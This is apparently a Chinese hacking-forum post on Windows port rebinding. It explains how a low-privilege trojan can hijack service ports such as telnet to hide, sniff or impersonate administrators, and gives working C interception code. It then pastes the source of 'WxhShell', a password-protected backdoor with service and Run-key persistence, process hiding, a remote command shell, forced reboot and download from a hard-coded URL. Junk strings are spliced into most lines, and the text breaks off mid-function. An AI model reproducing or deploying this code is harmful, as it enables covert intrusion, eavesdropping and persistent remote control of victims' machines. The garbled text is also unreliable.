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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Aa4Tq2G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >?rMMR+A  
To5hVL<Ex"  
  saddr.sin_family = AF_INET; Z*Gf`d:  
z?( b|v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); | L1+7  
5t"FNL <(M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DfP-(Lm)  
c&FOt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !a-B=pn!]  
0!7p5  
  这意味着什么?意味着可以进行如下的攻击: ! Dj2/][  
V; CPn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +jyGRSo  
44|tCB`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kf*Dy:e  
^$sq U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6bLn8UT  
 qLP/z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k ~ByICE  
Dad$_%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0;=- x"  
X 8R`C0   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3?@6QcHl{  
[uLs M<C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U+@U/s%8  
f-71`Pyb  
  #include Qh(X7B  
  #include FROC/'  
  #include >%0$AW|Exu  
  #include    K,$rG%c zX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n|LpM.  
  int main() l{>j8Ln  
  { -]H~D4ng  
  WORD wVersionRequested; "aCAA#$J  
  DWORD ret; e,MsF4'  
  WSADATA wsaData; x +pf@?w  
  BOOL val; 2\QsF,@`YU  
  SOCKADDR_IN saddr; Dfa3&# #{  
  SOCKADDR_IN scaddr; ?%}!_F`h%  
  int err; #/f~LTE  
  SOCKET s; .V?[<}OJn  
  SOCKET sc; 8/BMFRJ  
  int caddsize; pDSNI2  
  HANDLE mt; xZlCFu   
  DWORD tid;   +38R#2JV  
  wVersionRequested = MAKEWORD( 2, 2 ); UL{J%Ze=~  
  err = WSAStartup( wVersionRequested, &wsaData ); {svo!pN:  
  if ( err != 0 ) {  mPk'a  
  printf("error!WSAStartup failed!\n"); /:' >-253  
  return -1; n2hV}t9O  
  } G0Qw& mqF  
  saddr.sin_family = AF_INET; Vm>EF~r  
   >MYDwH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UNff &E-  
|=m.eU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fu tS  
  saddr.sin_port = htons(23); Mjy:k|aY"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T?t/[iuHrj  
  { .8Bo5)q$a-  
  printf("error!socket failed!\n"); Zrr)<'!i  
  return -1; G9 O6Fi  
  } ow.!4kx{d  
  val = TRUE; wz*iwd-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RbXR/Rd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O6R)>Y4  
  { ElV!C}g  
  printf("error!setsockopt failed!\n"); 5;UIz@BJ  
  return -1; "8{A4N1B5  
  } }: HG)V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .'gm2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '=n?^EPE3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4^F%bXJ)  
N+rU|iMa.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <\u3p3"[4  
  { IrqM_OjC  
  ret=GetLastError(); oDz|%N2s|  
  printf("error!bind failed!\n"); @we1#Vz.  
  return -1; Mz p<s<BX  
  } 7MLLx#U  
  listen(s,2); '#V@a  
  while(1) [49Cvde^  
  { 7RL J  
  caddsize = sizeof(scaddr); YcN|L&R.  
  //接受连接请求 )ffaOS!\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nQjpJ /=  
  if(sc!=INVALID_SOCKET) v{VF>qE P  
  { og5VB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )hXTgUZa  
  if(mt==NULL) O {1" I  
  { Cp6S2v I  
  printf("Thread Creat Failed!\n"); 'Oue 1[  
  break; 3I_^F&T  
  } pg4W?N`  
  } ^H3N1eC,`F  
  CloseHandle(mt); &uK(. @  
  } J* *(7d  
  closesocket(s); ~v.mbh  
  WSACleanup(); vSH,fS-n  
  return 0; Q'/sP 5Pj  
  }   d +D~NA[M  
  DWORD WINAPI ClientThread(LPVOID lpParam) oLT#'42+H  
  { L7-BuW}&  
  SOCKET ss = (SOCKET)lpParam; 1 :p'  
  SOCKET sc; ew~Z/ A   
  unsigned char buf[4096]; >v.f H6P,}  
  SOCKADDR_IN saddr; P1Hab2%+  
  long num; wtY)(k a  
  DWORD val; sFTAE1|  
  DWORD ret; tQ|c.`)W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,Vhve'=*2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N3n]  
  saddr.sin_family = AF_INET; OlOOg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i/x |c!E  
  saddr.sin_port = htons(23); Jr2yn{s=S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^v'kEsE^*  
  { uL`#@nI  
  printf("error!socket failed!\n"); SIJ7Y{\.  
  return -1; pCs3-&rI3  
  } d m8t ~38  
  val = 100;   3%kUj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #'_#t/u  
  { V]F D'XAl  
  ret = GetLastError(); 4v\HaOk  
  return -1; 9Da{|FyrD  
  } gyw=1q+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wigt TAh4  
  { bC `<A  
  ret = GetLastError(); z1mB Hz6  
  return -1; A@}5'LzL  
  } $0_K&_5w~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Qr$'Q7  
  { EZ)b E9  
  printf("error!socket connect failed!\n"); &Hb%Q! ^Kb  
  closesocket(sc); 1=R$ RI  
  closesocket(ss); 9zwD%3Ufn  
  return -1; 4X+xh|R:U  
  } TEz;:*,CG  
  while(1) atTR6%!6  
  { L 4j#0I]lq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "cKD#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~T_|?lU`R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M\R+:O&  
  num = recv(ss,buf,4096,0); IVNH.g'  
  if(num>0) r%U6,7d=)  
  send(sc,buf,num,0); {r_HcI(h  
  else if(num==0) 0;bdwIP3  
  break; ,a #>e  
  num = recv(sc,buf,4096,0); u#76w74  
  if(num>0) B$ eM  
  send(ss,buf,num,0); ):$KM{X  
  else if(num==0) OcT Wq  
  break; YEu+kBlcQ  
  } os/h~,=  
  closesocket(ss); U@OdQAX  
  closesocket(sc); QLY;@-jF$  
  return 0 ; Msqqjhoy  
  } 9\Jc7[b  
]-\68bN  
4z<c8 E8  
========================================================== xMjhC;i{  
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下边附上一个代码,,WXhSHELL u7< +)6-  
D$}hoM1  
========================================================== X30tO>  
}~ D WB"  
#include "stdafx.h" qp})4XTv  
&-=~8  
#include <stdio.h> jIs>>  
#include <string.h> Cqr{Nssu  
#include <windows.h> pP| @Z{7d`  
#include <winsock2.h> _E C7r>V&  
#include <winsvc.h> w6vbYPCN  
#include <urlmon.h> ]? y~;-^  
%'KRbY  
#pragma comment (lib, "Ws2_32.lib") wn[)/*(,$(  
#pragma comment (lib, "urlmon.lib") cY5&1Shb~  
<x}wy+SG  
#define MAX_USER   100 // 最大客户端连接数  0s;~9>  
#define BUF_SOCK   200 // sock buffer 2.v{W-D[  
#define KEY_BUFF   255 // 输入 buffer ^Q8yb*MN  
^#R`Uptib  
#define REBOOT     0   // 重启 #/YS  
#define SHUTDOWN   1   // 关机 &#PPXwmR  
\IL)~5d  
#define DEF_PORT   5000 // 监听端口 lh;fqn`  
v`|]57?A  
#define REG_LEN     16   // 注册表键长度 B?j t?  
#define SVC_LEN     80   // NT服务名长度 { )qr3-EM#  
x#0?$}f<  
// 从dll定义API 9y!0WZE{e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W8& )UtWQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1 uU$V =  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }; '@'   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .n7@$kq  
H'WYnhU&  
// wxhshell配置信息 _HwA%=>7  
struct WSCFG { ys`-QlkB  
  int ws_port;         // 监听端口 EXSJ@k6=8s  
  char ws_passstr[REG_LEN]; // 口令 =;Q/bD->  
  int ws_autoins;       // 安装标记, 1=yes 0=no d|R-K7 ~~  
  char ws_regname[REG_LEN]; // 注册表键名 `rn/H;r!Z  
  char ws_svcname[REG_LEN]; // 服务名 KYiJXE[Q-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (2b${Q@V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i]MemM-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;^N lq3N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lAnq2j|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V*n$$-5 1-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wNmpUO ?  
]gBnzh.  
}; Z^'~iU-?  
T";evM66  
// default Wxhshell configuration `NtW+v  
struct WSCFG wscfg={DEF_PORT, yEWm.;&3=  
    "xuhuanlingzhe", }#7l-@{<  
    1, ]Za[]E8MD  
    "Wxhshell", 3jZGO9ttnS  
    "Wxhshell", iZNS? ^U  
            "WxhShell Service", Mxl;Im]!`.  
    "Wrsky Windows CmdShell Service", :)lS9<Y}  
    "Please Input Your Password: ", ]T)N{"&N/  
  1, JU)^b V_  
  "http://www.wrsky.com/wxhshell.exe", +2iD9X{$MX  
  "Wxhshell.exe" $ W7}Igx#  
    }; RG'iWA,9m`  
CR$wzjP j  
// 消息定义模块 yy3x]%KK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J$6WUz:?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g>t1rZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *)RKU),3nL  
char *msg_ws_ext="\n\rExit."; T+L=GnYl  
char *msg_ws_end="\n\rQuit."; L(|K{vHh]  
char *msg_ws_boot="\n\rReboot..."; gnH {_  
char *msg_ws_poff="\n\rShutdown..."; Ue \A ,  
char *msg_ws_down="\n\rSave to "; AO5&Y.A#  
P;.roD9  
char *msg_ws_err="\n\rErr!"; 4~Qnhv7  
char *msg_ws_ok="\n\rOK!"; w1I07 (  
%%K3J<5  
char ExeFile[MAX_PATH]; ^'=[+  
int nUser = 0; X| \`\[  
HANDLE handles[MAX_USER]; ?1L<VL=b  
int OsIsNt; H5 z1_O_+  
 D_dv8  
SERVICE_STATUS       serviceStatus; \0 ~?i6o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s'yR 2JYv  
:m `D   
// 函数声明 no8\Oees  
int Install(void); Stw g[K0<  
int Uninstall(void); +d#8/S*  
int DownloadFile(char *sURL, SOCKET wsh); curYD~7  
int Boot(int flag); (nO2+@ !  
void HideProc(void); ;SE*En  
int GetOsVer(void); 2V]a+Cgk  
int Wxhshell(SOCKET wsl); w)ki<Dudg  
void TalkWithClient(void *cs); Ub\^3f  
int CmdShell(SOCKET sock); `xx.,;S  
int StartFromService(void); "*HM8\  
int StartWxhshell(LPSTR lpCmdLine); G2N0'R "  
'yVe&5?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VHPqEaR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eGT&&Y  
kBqgz| jE%  
// 数据结构和表定义 Ye]K 74M.  
SERVICE_TABLE_ENTRY DispatchTable[] = b_`h2dUq  
{ r^6@Zwox]  
{wscfg.ws_svcname, NTServiceMain}, ?#GTD?3d  
{NULL, NULL} 9ye!kYF,  
}; \FfqIc9;  
+@]k[9  
// 自我安装 [;Ih I  
int Install(void) M @KQOAzt  
{ 8?8V;   
  char svExeFile[MAX_PATH]; <lR:^M[v5<  
  HKEY key; {J)%6eL?  
  strcpy(svExeFile,ExeFile); 2OpA1$n6  
sSfP.R  
// 如果是win9x系统,修改注册表设为自启动 j_d}?jh  
if(!OsIsNt) { 5wW5 n5YS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lv?`+tU2_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c/ImK`:)4a  
  RegCloseKey(key);  OLIMgc(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QDW,e]A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pk;/4jt4  
  RegCloseKey(key); g4k3~,=D3  
  return 0; x*:VE57,z  
    } V|@bITJ?7  
  } <[n:Ij  
} =v^#MU{k?  
else { YvN]7tcb  
0?oL zw&  
// 如果是NT以上系统,安装为系统服务 pYzop4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ML'y`S  
if (schSCManager!=0) i`e[Vwe2x@  
{ 7w2$?k',-  
  SC_HANDLE schService = CreateService C_>XtcU  
  ( @. $- ^-  
  schSCManager, M.,DXEZT  
  wscfg.ws_svcname, SF-E>s!XL  
  wscfg.ws_svcdisp, L3HC-  
  SERVICE_ALL_ACCESS,  !AJkd.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {H(l"KuL  
  SERVICE_AUTO_START, FS=yc.Q_  
  SERVICE_ERROR_NORMAL, AB\Ya4O"9  
  svExeFile, BFw_T3}zn  
  NULL, D|Q7dIZm  
  NULL, <$s sU{5  
  NULL, Lu6g`O:['  
  NULL, @Q,Q"c2  
  NULL 6d/Q"As  
  ); ;PC!  
  if (schService!=0) 66F?exr  
  { .B<Bqr@?8  
  CloseServiceHandle(schService); iii|;v ]+  
  CloseServiceHandle(schSCManager); UA*VqK)Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,DE>:ARZ  
  strcat(svExeFile,wscfg.ws_svcname); Jn=;gtD- *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2<B'PR-??y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C`t @tgT  
  RegCloseKey(key); OS; T;  
  return 0; xE@/8h  
    } So!=uYX  
  } 2`riI*fQ  
  CloseServiceHandle(schSCManager); QPB,B>Z  
} ;$&\ :-6A#  
} 2kDY+AN;  
cQhr{W,Un  
return 1; v]{UH {6  
} =MQ/z#:-P  
.\_RavW23  
// 自我卸载 "g5{NjimY  
int Uninstall(void) F<b'{qf"  
{ ':;k<(<-  
  HKEY key; s.bo;lk  
?110} [jw  
if(!OsIsNt) { YyxU/UnhG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y(QFf*J  
  RegDeleteValue(key,wscfg.ws_regname); 2%fIe   
  RegCloseKey(key); 0c`zg7|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $4xSI"+M%  
  RegDeleteValue(key,wscfg.ws_regname); y& yf&p  
  RegCloseKey(key); jG7PT66>;  
  return 0; S j~SG  
  } v5'`iO0o  
} G*+^b'7  
} mTI`^e  
else { o5a=>|?p>  
7xeqs q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8lpAe0p(Z  
if (schSCManager!=0) _Z[0:4  
{ VSY  p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U&WEe`XM  
  if (schService!=0) V_gKl;Kfe8  
  { $!>.h*np  
  if(DeleteService(schService)!=0) { 1`7zYW&L  
  CloseServiceHandle(schService); G~<UP(G  
  CloseServiceHandle(schSCManager); q5R| ^uf  
  return 0; i$E [@  
  } zw+aZDcV(  
  CloseServiceHandle(schService); d:';s~  
  } &kIeW;X  
  CloseServiceHandle(schSCManager); Gf\h7)T\  
} t 6nRg  
} x>[]Qk^?q  
{3`385  
return 1; aL;!BlU8v  
} h) Wp  
%)r ~GCd  
// 从指定url下载文件 C")genMH  
int DownloadFile(char *sURL, SOCKET wsh) 3{3@>8{w  
{ b4_0XmL  
  HRESULT hr; {=[>N>"  
char seps[]= "/"; z l r !   
char *token; >-A@6Qe_  
char *file; KR aL+A  
char myURL[MAX_PATH]; O{X~,Em=q  
char myFILE[MAX_PATH]; Tzex\]fw  
>Wr%usNxc  
strcpy(myURL,sURL); sApix=Lr  
  token=strtok(myURL,seps); '{d@Gc6.  
  while(token!=NULL) uNzc,OH  
  { "Q.*  
    file=token; ~18a&T:  
  token=strtok(NULL,seps); Z4VFfGCTL  
  } T0w_d_aS  
qE~_}4\Z9  
GetCurrentDirectory(MAX_PATH,myFILE); P"vrYom  
strcat(myFILE, "\\"); 3xChik{  
strcat(myFILE, file); =j,WQ66r3  
  send(wsh,myFILE,strlen(myFILE),0); Nwi|>'\C  
send(wsh,"...",3,0); yn62NyK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lgOAc,  
  if(hr==S_OK) _>- D*l  
return 0; (9'^T.J  
else 7{|QkTgC  
return 1; So aqmY;+  
Op'a=4x]  
} H -kX-7C  
$`F9e5}G  
// 系统电源模块 Y 2 @8B6  
int Boot(int flag) Pv'Q3O2<I  
{ ?"d$SK"6Z  
  HANDLE hToken; IP62|~Ap  
  TOKEN_PRIVILEGES tkp; VPUVPq~&  
"}]$ag!`q$  
  if(OsIsNt) { &~,4$& _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =01X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p-[WpY3  
    tkp.PrivilegeCount = 1; )j_El ]?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t2N W$ -E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |9I)YD  
if(flag==REBOOT) { 8+F5n!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x|6]+?l@6  
  return 0; i>F=XE  
} _[2@2q0  
else { @UD:zUT)F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~r--dU  
  return 0; W: ]FYC  
} Ww7Ya]b.k  
  } I~GF%$-G  
  else { GShxPH{_j  
if(flag==REBOOT) { =kd$??F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9njl,Q:  
  return 0; ^xZh@e5  
} @]=40Yj~w  
else { <)VgGjZ-H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tb3V qFx  
  return 0; NX @FUct;  
} eVXXn)>  
} lE:g A,  
r"7n2   
return 1; m#7(<#  
} u!_l/'\  
,erw(7}'.  
// win9x进程隐藏模块 _P;D.>?  
void HideProc(void) uw)7N(os\`  
{ + ?1GscJ   
j|eA*UE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kBu{ bxL  
  if ( hKernel != NULL ) .|UQ)J?s  
  { &.?XntI9O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gAqK)@8-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *ukyQZ9  
    FreeLibrary(hKernel); wKV4-uyr  
  } rO1!h%&o"  
d$dy6{/YD  
return; cnv>&6a)  
} }cKB)N BJb  
[|}IS@  
// 获取操作系统版本 UX 1 )((  
int GetOsVer(void) WjV15\,  
{ 'D\Q$q  
  OSVERSIONINFO winfo; bx@l6bpQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qQ&uU7,#  
  GetVersionEx(&winfo); VtreOJ+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B /? L$m  
  return 1; ]Bw0Qq F#  
  else 'M90Yia  
  return 0; QLA.;`HIE  
} cr7MvXF-  
APQq F/  
// 客户端句柄模块 E8Dh;j  
int Wxhshell(SOCKET wsl) U$rMZk  
{ tYS4"Nfb+  
  SOCKET wsh; U, 6iT  
  struct sockaddr_in client; +n3I\7G>  
  DWORD myID; 2_o#Gx'  
W :w~ M'o  
  while(nUser<MAX_USER) H=r-f@EOrI  
{ B5e9'X^ [  
  int nSize=sizeof(client); p6VD*PT$&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z6jEj9?O  
  if(wsh==INVALID_SOCKET) return 1; /r}L_wI  
q2GW3t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D7Q+w  
if(handles[nUser]==0) En5oi  
  closesocket(wsh); [3%mNNk  
else M>Q]{/V7T  
  nUser++; lOIk$"Ne  
  } >4 OXG7.&f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ao(T81  
~MpikBf  
  return 0; ;"3B,Yj  
} ,pNx(a  
5pO|^G j1  
// 关闭 socket X1L@ G  
void CloseIt(SOCKET wsh) K %^n.  
{ BHXi g~d  
closesocket(wsh); OWd'z1Yl  
nUser--; !-gU~0  
ExitThread(0); B.z$0=b  
} 8v:{BHX  
?RRO  
// 客户端请求句柄 8~=*\ @^  
void TalkWithClient(void *cs) gk]QR.  
{ \-<BUG]=  
"gM^o  
  SOCKET wsh=(SOCKET)cs; >rnVT K  
  char pwd[SVC_LEN]; Z$oy;j99y  
  char cmd[KEY_BUFF]; h}bfZL  
char chr[1]; E?m~DYnU  
int i,j; q76POytV|  
'CLZ7 pV  
  while (nUser < MAX_USER) { qnm_#!&uHT  
(8nv&|  
if(wscfg.ws_passstr) { ]@q%dsz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cj5mM[:s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :<% bAn  
  //ZeroMemory(pwd,KEY_BUFF); t=_^$M,yr  
      i=0; lQA5HzC\  
  while(i<SVC_LEN) { 50UdY9E_v}  
#6sz@XfV  
  // 设置超时 *zfgO pK  
  fd_set FdRead; &&ioGy}1  
  struct timeval TimeOut; %p Wn9  
  FD_ZERO(&FdRead); 6iC>CY3CG  
  FD_SET(wsh,&FdRead); bbm\y] !t  
  TimeOut.tv_sec=8; 5*0zI\  
  TimeOut.tv_usec=0; jX53 owZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &H(yLd[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I[z:;4W}L^  
 Et>#&Nw8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qT O6I5u  
  pwd=chr[0]; Z\0Rw>#  
  if(chr[0]==0xd || chr[0]==0xa) { 3;nOm =I  
  pwd=0; Bous d  
  break; i1iP'`r  
  } -@To<<`n  
  i++; *4,Q9K_  
    } +`y(S}Z  
+9)Jtm oL  
  // 如果是非法用户,关闭 socket ]5!3|UYS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OG\i?N  
} )0{`}7X  
QV4|f[Ki%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @SQsEq+A?\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); igO>)XbsM  
MDMd$] CW  
while(1) { Lx"GBEkt7  
q*!R4yE;C  
  ZeroMemory(cmd,KEY_BUFF); 'H1~Zhv  
] 5Cr$%H=  
      // 自动支持客户端 telnet标准   Z~'t'.=z  
  j=0; ]TV_ p[L0B  
  while(j<KEY_BUFF) { 'C+cQLig@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^@fD{]I  
  cmd[j]=chr[0]; ,0l Od<  
  if(chr[0]==0xa || chr[0]==0xd) { U,<m%C"  
  cmd[j]=0; l.YE@EL  
  break; fHt\KP  
  } 'K[ml ?_  
  j++; oqrx7 +0{  
    } V^~RDOSy7n  
vEv kC  
  // 下载文件 m*0YMS>Y |  
  if(strstr(cmd,"http://")) { 7vRtTP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bzN[*X|  
  if(DownloadFile(cmd,wsh)) 5#Er& 6s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }~FX!F#oU  
  else WP<L9A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xr*I`BJ  
  } 43=v2P0=Tj  
  else { !pU$'1D  
fI.|QD*$b  
    switch(cmd[0]) { Y2|i>5/|<  
  9#8vPjXW}.  
  // 帮助 )>a~%~:  
  case '?': { RQ+,7Ir  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +NlnK6T/  
    break; F>;Wbk&[|  
  } U)}]Z@I-  
  // 安装 )&Ii! tm3  
  case 'i': { w OL,LU  
    if(Install()) '|}A /`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *A-_*A  
    else U%3N=M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6v%yU3l  
    break; ^F^g(|(K  
    } |r9<aVlK  
  // 卸载 '/ Aq2  
  case 'r': { @@d_F<Ym[  
    if(Uninstall()) y^2#;0W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qHt/,w='Q  
    else VKa+[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *d._H1zT  
    break; yC' y>f`H  
    } 2>z YJqG|  
  // 显示 wxhshell 所在路径 }YwaN'3p!  
  case 'p': { 1 ?@HOu  
    char svExeFile[MAX_PATH]; /9vi  
    strcpy(svExeFile,"\n\r"); AXyXK??  
      strcat(svExeFile,ExeFile); {16a P  
        send(wsh,svExeFile,strlen(svExeFile),0); WjD885Xo  
    break; xAm tm"  
    } @K;b7@4y  
  // 重启 `}X3f#eO&  
  case 'b': { 5F kdGF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F5)`FM^R  
    if(Boot(REBOOT)) x&B&lFmo 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#z1>y!#  
    else { KEAXDF&#  
    closesocket(wsh); dx%z9[8~{.  
    ExitThread(0); 4o>y9  
    } Vl.,e1)6  
    break; :Cq73:1\B  
    } ;i@S}LwL  
  // 关机 Yf0 KG  
  case 'd': { }[+uHR6L  
